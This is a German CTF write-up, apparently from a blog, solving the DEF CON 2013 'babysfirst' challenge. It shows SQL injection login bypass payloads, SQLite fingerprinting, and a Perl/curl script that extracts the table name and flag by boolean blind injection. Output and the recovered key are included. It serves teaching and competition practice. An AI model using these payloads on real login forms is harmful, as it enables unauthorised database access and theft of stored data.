DEF CON CTF 2013 – babysfirst

DEFCON 2013 CTF - babysfirst - task description

Die Challenge (babysfirst) verweist zunächst nur auf eine Webseite, die wir uns direkt näher ansehen.

DEFCON 2013 CTF - babysfirst - website

Einer der ersten SQL-Injection-Versuche mit ‘ or ‘1’=’1 als Benutzername und Passwort liefert direkt, dieses Ergebnis:

DEFCON 2013 CTF - babysfirst - sql injection

Neben diversen Möglichkeiten, kann hier zum Beispiel eine Blind SQL-Injection durchgeführt werden.
Mit dem “or 1=1” haben wir bereits eine Stelle gefunden, deren Rückgabewert (Wahr oder Falsch) sich bereits anhand des Ergebnisses (erfolgreiches oder erfolgloses Einloggen) interpretieren lässt.

Nun prüfen wir zunächst mit was für eine Datenbank wir es hier zu tun haben.

' or (SELECT 1 FROM sqlite_master) --

Mit dieser Abfrage können wir uns erfolgreich einloggen, was bedeutet, dass die Datenbank “sqlite_master” existiert. Es handelt sich somit um eine SQLite-Datenbank.

Als Nächstes müssen wir herausfinden, welche Tabellen oder Werte in der Datenbank existieren. Dazu nutzen wir die SQLite-Funktion substr() um die Buchstaben einzeln auszulesen.

' or (substr((SELECT name FROM sqlite_master LIMIT 0,1),X,1)=Y) --

Hier prüfen wir das Ergebnis der substr()-Funktion als Wahrheitswert. X stellt dabei den Platzhalter für die Position des Buchstabens und Y den Platzhalter für den Buchstaben selbst dar. Um nun den Namen der ersten Tabelle / des ersten Wertes komplett auszulesen, muss diese Abfrage als Schleife in einem Skript implementiert werden:

#!/usr/bin/perl

for ($pos=1;$pos <= 100; $pos++) {
  for ($letter=32; $letter<=128; $letter++) {

    $char = chr($letter);

    $query = "' or (substr((SELECT name FROM sqlite_master LIMIT 0,1),$pos,1)='$char') -- ";

    $get = `curl -s "http://babysfirst.shallweplayaga.me:8041/login" -d "username=$query&password=123"`;

    if (index($get, "root") != -1) {
      print "$pos: $char\n";
      last;
    }
  }
}

print "\n";

Wenn wir das Skript ausführen, erhalten wir dieses Ergebnis:

rup0rt@lambda:~$ ./babysfirst.pl
1: k
2: e
3: y
4: s

Es existiert also ein Eintrag namens “keys”! Nun muss nur noch die Abfrage im Skript angepasst werden.

' or (substr((SELECT value FROM keys LIMIT 0,1),X,1)=Y) --

Hierbei wird der Wert des Eintrags “keys” ausgelesen. Führt man das finale Skript jetzt aus, erhalt man folgende Ausgabe.

rup0rt@lambda:~$ ./babysfirst2.pl
1: T
2: h
3: e
4:
5: k
6: e
7: y
8:
9: i
10: s
11: :
12:
13: l
14: i
15: t
16: e
17: r
18: a
19: l
20: l
21: y
22:
23: o
24: n
25: l
26: i
27: n
28: e
29:
30: l
31: o
32: l
33: l
34: i
35: n
36: g
37:
38: o
39: n
40:
41: l
42: i
43: n
44: e
45:
46: W
47: u
48: c
49: G
50: e
51: s
52: J
53: i

Die Lösung lautet somit “literally online lolling on line WucGesJi“.

Leave a Reply

Your email address will not be published. Required fields are marked *